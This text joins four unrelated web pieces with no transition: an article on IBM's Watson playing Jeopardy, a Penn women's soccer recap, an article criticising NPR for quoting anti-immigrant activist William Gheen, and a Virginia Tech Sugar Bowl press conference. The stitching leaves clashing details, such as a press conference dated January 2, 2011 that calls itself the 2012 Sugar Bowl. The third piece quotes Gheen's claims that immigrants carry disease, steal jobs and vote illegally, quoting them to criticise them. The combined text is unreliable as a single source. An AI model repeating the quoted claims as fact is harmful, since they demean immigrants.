"Language is ambiguous; it's contextual; it's implicit," said IBM scientist David Ferrucci, a leader of the Watson team. Sorting out the context — especially in a game show filled with hints and jokes — is an enormous job for the computer, which also must analyze how certain it is of an answer and whether it should risk a guess, he said.
This is how Watson played Jeopardy:
First, at the same time the answer panel appears to the two human players, Watson is fed the answer in text form. Watson then queries its database for an appropriate response, without using the Internet. (Note: Game shows are federally regulated and there were two auditors present while the episode was filmed to make sure the computer wasn't using the Internet for the answers.) Watson, like its human competitors, had to push a physical buzzer to answer the questions.
Watson's shortcomings were realized in several different ways, one of the most obvious being Watson's inability to recognize when an answer has already been given. He cannot hear what other players are saying, but it might be a feature that IBM will add in the future.
For instance, after Jennings stated incorrectly the 1920s was the decade in which Oreo cookies were introduced, Watson jumped with his answer: "What is 1920?"
"No," said Trebek. "Ken said that." Everybody laughed except the computer, whose avatar turned orange in embarrassment. Rutter was right when he said: "What are the 1910s?"
Among the (human) head-scratching replies by Watson:
In Tuesday's Final Jeopardy, Watson took a dive, and its human competitors handled the question with ease. The category was U.S. cities, and the clue was: "Its largest airport is named for a World War II hero; its second largest, for a World War II battle." The correct response was Chicago, but Watson weirdly wrote, "What is Toronto?"
A human would have considered Toronto and discarded it because it is a Canadian city, not a U.S. one, but that's not the type of comparative knowledge Watson has, Nyberg said.
And in the category "Nonfiction," with the clue "The New Yorker's 1959 review of this said in its brevity & clarity it is 'unlike most such manuals, a book as well as a tool.'" Watson incorrectly responded "Dorothy Parker." (Wow.) The correct response was "The Elements of Style."
Watson may have "beaten the humans", but it made humankind the winner.
"A human working with Watson can get a better answer," said James Hendler, a professor of computer and cognitive science at Rensselaer Polytechnic Institute. "Using what humans are good at and what Watson is good at, together we can build systems that solve problems that neither of us can solve alone."
In what was apparently an act of sarcastic defiance, the final response by Jennings included, not only the correct answer, but the comment, "I for one welcome our new computer overlords". Fortunately, the still somewhat limited language skills programmed into our new computer overlords should prevent them from discovering such an act of defiance….at least for now.
And that's our final answer.
Until next week…

NEWARK, N.J.-The University of Pennsylvania women's soccer team got a first-half goal from Erin Mikolai and a second-half goal from Laura Oliver, and that was enough as the Quakers defeated NJIT, 2-0, Tuesday night at Lubetkin Field.
Mikolai's goal came just after the half-hour mark, as Clara Midgley crossed the ball from the right side and Mikolai headed it home.
Mikolai assisted Oliver's goal in the 51st minute, the goal coming off a shot from senior at the top of the box.
Penn outshot NJIT 10-3, and forced Highlander goalkeeper Samantha Bersett to make six saves. Kalijah Terilli went the distance in the Penn goal and was not called upon to make a stop as she collected the Quakers' sixth straight shutout and 11th in 14 matches this season. (In minutes, Penn's shutout streakis 621:48.)
Penn improved to 10-1-3 this season, and reached double digits in wins for the second time in three years, the third time in five seasons, and the fourth time in seven seasons. NJIT fell to 6-10 with the loss.
Penn returns to Ivy League play on Saturday, hosting Yale on Rhodes Field at 5 p.m. That game will be the first half of a doubleheader at Rhodes Field, as the men host the Bulldogs at approximately 7:30 p.m.

NPR Lends Credibility To Anti-Immigrant Who Accuses Immigrants Of Carrying Diseases
An NPR report [1] today about the Obama administration's deferred action program for young undocumented immigrants quoted Americans For Legal Immigration PAC president William Gheen, who yesterday claimed [2] that the program "will allow illegal aliens who are willing to lie about coming to the US as children to be given 'deferred status' and work permits starting immediately."
On June 15, the Obama administration announced [3] a plan that will give eligible undocumented youth a chance to avoid deportation and work in the country legally. That program went into effect today; and thousands have reportedly started [4] the application process.
Gheen -- who went on to write that President Obama's action "will rapidly increase the number of illegal aliens feloniously voting in US elections, stealing your jobs and expecting future benefits" -- posted his screed on the website of ALIPAC, an anti-immigrant organization supported by the Federation for American Immigration Reform and allied with former Minutemen groups. The Southern Poverty Law Center has designated [5] FAIR a hate group.
In light of this, it's hard to understand NPR's decision to lend Gheen credibility on the issue of deferred action for immigrants. And not only did NPR quote Gheen, it also failed to inform viewers of Gheen's extreme views of immigrants.
Indeed, ALIPAC is not known to hide its extremist views or what it thinks of policies that seek to help the undocumented population. In fact, the front page of the organization's website contains a hoard of inflammatory rhetoric that NPR should have been aware of.
Headlines that include "amnesty" or "illegals" or such phrases as "Obama releases violent illegal aliens upon American citizenry in mass dream amnesty" don't induce honest debate, let alone encourage meaningful discussion. They're red herrings meant to attract similar xenophobic rhetoric.
Here is Gheen [2] once again from yesterday:
Tomorrow, Wednesday August 15, 2012 is a day that will live in infamy if we fail in our mission.
Obama's Executive Decree Amnesty will likely end the reversal of illegal immigration in America for which we all have fought so hard to achieve and will bring a new flow of illegals into America who are expecting capitulation.
We need every national and local organization dedicated to fighting illegal immigration to launch all ships today! We need Congress to hear us and that will only happen if enough of you pick up your phone and call Congress together NOW!
Here he is on August 8 [6], accusing immigrants of, among other things, carrying diseases:
August 15 is rapidly approaching and on this day the Obama administration will officially start handing out work permits to illegal aliens for $465. Any illegal alien willing to simply lie and say they were brought to America when young will qualify. Some initial estimates indicate the first wave could be as high as 1.8 million.
If you have not been directly negatively impacted by illegal immigration and open borders yet through job loss, decreased wages, increased higher local taxes, loss of neighborhood security, degraded healthcare and educational resources, drug addiction, infectious disease, or violent assault or death of a loved one, your chances of direct impact will be increasing very soon. Our border patrol agents are saying this renegade Amnesty move by Obama is going to bring a new flood of drugs and violence to American streets!
Next week we are going to need your help as we launch a new wave of calls and activism to do our best to stop the Obama Decreed Amnesty that bypasses Congress, the public, the elections, existing federal laws, and the US Constitution to energize Obama's illegal alien voters who plan to steal the 2012 elections to a greater degree than their theft of votes in 2010. [emphasis added]
And July 27 [7]:
The news coming in from around the country confirms what we had warned of previously. Not only is Obama's administration knowingly releasing violent criminal and sexual predator illegal aliens upon the American public, but the latest "limited" Dream Act Amnesty decree is more of a blanket Amnesty.
All of the criteria Obama and DHS set forth for illegal aliens to possibly qualify for "deferred prosecution" or deportation are a farce!
Obama has nullified existing federal laws, the Congress, the elections, public sentiment, and the US Constitution to enact a dictatorial form of Amnesty to aid his illegal alien invasion.
We also have direct evidence that the Democrats are targeting illegal aliens and registering them to vote in key states like Virginia!
As the Anti-Defamation League has noted [8], Gheen "regularly demonizes immigrants as drunk drivers, gang members, invaders, murderers, and disease-carriers."
And yet Gheen continues to be a fixture [9] in the mainstream media's coverage of immigration issues.

January 2, 2011 - Allstate Sugar Bowl Press Conference Quotes
Virginia Tech Head Coach Frank Beamer
THE MODERATOR: We'll go ahead and get started. Again, we want to welcome everyone to the final official pregame press conference for the 2012 Allstate Sugar Bowl.
I'll ask Coach Beamer ?? welcome him to make a few opening remarks, and then we'll take your questions.
COACH BEAMER: Yeah, first thing I would say is I appreciate everything the Sugar Bowl people have done for us through this week. It's a first?class operation. It's a great bowl trip. Very organized, very professional. And just compliment them and appreciate what they've done.
And then after that, you're playing a game against the winningest football program ever in the Sugar Bowl, you know, it's just ?? it's an honor and it's a real challenge.
This team is good, and we know we're going to have to play our very best to have a chance to beat them. We look forward to the challenge of that.
THE MODERATOR: Questions?
Q. We're on the precipice of changes in the BCS and the Bowl system. You've obviously lived through some different iterations of college football postseason. I'm wondering what your opinion is going forward of what college football should do?
COACH BEAMER: As far as the BCS? You know, I was behind this four teams play, one plays four, three plays two, and the two winners play for the national championship.
A few years back I thought it was gaining some momentum. And I really thought that was a good idea. And the reason I thought it was the way to go is when we played Auburn here in the Sugar Bowl. And Auburn was an undefeated team, and there were two other undefeated teams that year. And Auburn was good enough to play for the national championship.
And that's when I kind of formed ?? generally there's about four teams that really deserve to play for the national championship. Some years there's more. But ?? and it always would be controversy about the fifth team, but not as much, I think, as the third team.
And so to me that would ?? I think that's the best solution right now. And I understand that it's coming back around a little bit. And hopefully, you know, I'd like to see us go in that direction.
Q. Coach, time for the obligatory kicker update. You haven't been too confident in Justin Myer the last couple of days. What's the latest on him?
COACH BEAMER: Justin's kicked well the last couple of days. We're going to dress out Conor Goulding. He's had a good week at practice also. But my plan right now is to kick Justin Myer.
Q. You've obviously done this a few times, been in Sugar Bowls, Brady Hoke obviously has not. Do you gain any advantages from that experience? I guess not ?? if not in personnel, then certainly in preparation?
COACH BEAMER: I don't know. We've done some things. We've learned some things over the years that we think are better. But the one thing I know is that I think Virginia Tech is a team that's done a great job to get to the BCS ballgame. I think we're the winningest team since 1995.
And we've had some great wins and we've done a great job getting here. But now we need to take that next step and get our share of the BCS wins. And that's, I think, the challenge to Virginia Tech and to the ACC right now is that not only get here, but get a win. And that's what we're going to try like heck to do.
Q. You emphasized since you got here about the importance of winning this game, as you just said. And sending a kicker home the first night probably emphasize that to your players. Have you seen the reaction from your players this week in practice, the mindset, so forth, that you wanted them to have focusing in on winning the game?
COACH BEAMER: I do. I think we've had good practices. I think our attention to detail has been good.
But you never know. You know, last year, you know, I thought we practiced well, getting ready for Stanford. And, you know, if that game had gone a little bit different starting the second half, maybe the game would have turned out differently.
But I think it's always hard to tell. But I do ?? from what I can say right now, I think we practice well. And, you know, we understand what a challenge it is to try to beat this Michigan team.
Q. Coaches come and go in this business. Tenure seems to be short. You've had a very long tenure. Do you think that you would have had this tenure if the system worked the way it does now when you started?
COACH BEAMER: Did I have the same administrators at Virginia Tech? That would probably be my question. I don't think after six years, when you're ?? I believe it's six years ?? you're 2-8-1, I don't think many people would survive in today's time.
But fortunately I had administration that could see that we were doing things the right way. They understood that we were penalized, scholarships to start my time there at Virginia Tech, and I think that's the toughest penalties you can get from the NCAA is loss of scholarships.
And it not only hurts you recruiting now, but down the road three or four years, that's where it shows up. But fortunately I had administration that saw that and hung with us long enough for us to get the wins. We went to the Independence Bowl in 1993 and have gone to a Bowl ever since.
But I think money's gotten up there and people want results right now. I think the way information gets out, it may be right, it may be wrong. It doesn't have to be accurate. But then people are talking about it. And I just think the way the whole situation is, I just don't think coaches will last as long as we've been able to do it at Virginia Tech.
Q. Denard Robinson has credited Michael Vick and other dual?threat quarterbacks for giving him the confidence to remain a quarterback. Was there ever a point in your coaching career where you looked at a quarterback that had those diverse skills and said, you know, we've got to get him somewhere else on the field? Was there a point where you were okay with a dual?threat quarterback, I guess?
COACH BEAMER: I didn't understand quite the last part of it. Say that again.
Q. Was there ever a point where you became okay with the idea of having a dual?threat quarterback, or have you always ??
COACH BEAMER: That philosophy has been to get a guy ?? I think the first thing the guy has to do is to be able to throw the football. And then after that the more of an athlete he is, the better it is.
I mean, it's all pluses after that. And Michael just happened to be very top of the list at both - athletic ability and throwing the football. The zip he can put on the ball and how quickly it comes out of there.
And probably one of the great performances ever was when we played Florida State in the Sugar Bowl, that particular night. And I think that probably changed a lot of people's thinking: Yeah, I can do this. And a lot of great athletes that could see themselves being Michael Vick.
And I know their admissions, applications for admissions at Virginia Tech went up that year. So he changed a lot of things, I think, in the football world and Virginia Tech world.
But that's kind of the way we've always ?? that's the way we look at it. Tyrod Taylor, he was an excellent athlete. He's with Baltimore (Ravens) now. But he could throw the football and got better all the time. And Logan Thomas, I mean, he can throw the football. He's a big, strong athlete.
But I think the first priority at quarterback is can you throw the football. When you go the other way around, I think it makes it tough. If you're just a guy that can just run it and can't throw it, I think you can slow that guy down. But when you put those two together ?? and Denard ?? their guy does a great job of that.
He's not only ?? cannot only run it, but he can throw it. He's good throwing the football.
Q. For your entire career you've pretty much set a precedent that people who miss curfew are sent home. Why do you feel to be so strict on that and what's your opinion of coaches that maybe are a little bit more lenient on the matter?
COACH BEAMER: You'll have to ask that again. You're echoing.
Q. Throughout your career you've been steadfast that people who miss curfew are immediately sent home. How come you feel the need to be so strict about that and what is your opinion on coaches that are maybe a little bit more lenient on the matter?
COACH BEAMER: I think if you come down with a purpose and understand what the purpose is of being here and understand that there's only so many ?? that the opportunity to play a program like Michigan in the Sugar Bowl is a unique opportunity that just doesn't come around every year. And there's a lot of nights you can go out and socialize. There's going to be a lot of those nights in your life.
But to come down here and be in this setting and the Sugar Bowl and be the only game on and on national TV and to play Michigan, to me it's worth ?? and I firmly believe if you're going to be successful, your football team's gotta all be going the same direction. You can't be scattered about and doing this and that.
And so we preach that at Virginia Tech. And it may seem ?? and that's the way we're going to do it. We'll set the time. You're responsible for your actions. Let's do things right. And do them all the same way. So...
Did I answer your question?
Q. What is your opinion on coaches that are maybe a little more lenient on the matter?
COACH BEAMER: I think people have to run their program whichever way they want. That's how we do it at Virginia Tech. Everyone needs to go in the same direction and understand the purpose.
And this situation is big enough that it's worth the sacrifices of whatever. And being on time.
Q. If I could just follow up on longevity in the coaching profession. You have a son who I'm guessing probably wants to be a head coach one day. Do you have any thoughts on what changes should be made to enable coaches to enjoy long careers? Should there be less money? Should there be more understanding? Should there be patience with building programs? What's it take? What has to change?
COACH BEAMER: Well, I think we are where we are. And, you know, Shane certainly understands the coaching profession. And he certainly understands that it's not only year to year, it's week to week. Things change quickly in a week's time. And that's just the way the profession is.
And I don't think there's ?? I don't think ?? administrators are the only people that can change it, and I think they always certainly feel pressure from people outside.
So I don't think it's going to change. I think it is what it is. And I don't see the money going the other way. I don't see media going the other way.
I think it's a profession. Did you win last Saturday or did you not. And it's kind of that way, really.
Q. You've taken your team to 19 straight Bowl games, and you've won 10 games in, what is it, eight or nine years in a row. Is there an argument to be made, if you just wait, if you've got the right guy, it's going to turn out okay?
COACH BEAMER: Yeah, I think from an administration standpoint, that I believe this: Things don't just happen quickly. There's about three guys fired this year after they were there only two years.
And I don't know the ins and outs, but I do know this: If I were an administrator and I had the right guy in place, I would try to hang in there with him to ?? I would hang in there with him until ?? give him an opportunity to get his recruiting classes in there and get his program, the foundation of his program in there and give him an opportunity to be successful, because it's just ?? I think today's world, people seem like, okay, we'll fire this guy, hire this guy, pay him a bunch of money and everything's going to be okay.
But I don't think it's necessarily going to be okay in a real quick period of time, a real short period of time.
So, yeah, I'm all about people. And if you got the right guy, you know, you better just hang in there with him and give him a little time. If you don't have the right guy, you need to move on to the next one.
Q. What stands out to you about Michigan's defense? And what Ohio State did against them the last game of the year, does that give you encouragement at least?
COACH BEAMER: I think they're really good up front. I think they're very aggressive, very tough, very well coached. I think when they get you in long yardage situations they've got a lot of different looks that you're trying to figure out how are you going to block this crowd now.
So, I mean, I just ?? most of their guys up front are older guys. And mature guys, physically mature. Played in a lot of ball games.
And I always say it's what's up front that counts. They're good up front. Not to say they're not good on the back end, but I think it always starts right up front. And very tough, very aggressive.
Q. This game is being played on January 3rd, and it seems to have an adverse effect on ticket sales and interest. Do you believe that the BCS?level Bowls should all be played on January 1st, or is that just living with whatever ESPN tells you to do?
COACH BEAMER: Yeah, I believe it all should be played on January 1st. I know TV's there, but it's just ?? it's difficult. I think it's difficult on fans everywhere.
You know, after New Year's, your kids are going back to school. Now here it's the 3rd, and it's a three?day stay with hotels. It makes it a difficult situation to fill the stadiums.
And I believe a BCS game, the first thing is the stadium needs to be sold out. But I understand the other side of it, too, the way the TV works they spread them out. I understand that part firmly, too. But I do think it's an issue. I think it's something that probably needs to be thought out and talked about, is this what's best for college football in general is to play so many games after January the 1st.
Q. Clearly taking into account your full focus is on trying to win this game, but three years ago you guys entered the Orange Bowl I guess No. 21 in the country. You win that game against Cincinnati. And you start the next season, No. 7, going into the Alabama game in Atlanta. Have you given any thought about what a win here would do to sort of propel you into maybe a really high?ranking situation last year and into the public consciousness in that situation, if you can get a win and with everything you have coming back, too?
COACH BEAMER: I know this: Going to those alumni meetings in the springtime, it's a lot better when you win it. The way you're thought of in the end, the final poll, it's a lot better if you win it for when you start out the next year. It's going to be higher if you win it. I think there's just a lot of implications that a BCS Bowl win or any Bowl win, really, has on your program.
So I think it's important for a lot of reasons.
THE MODERATOR: Thank you, Coach.
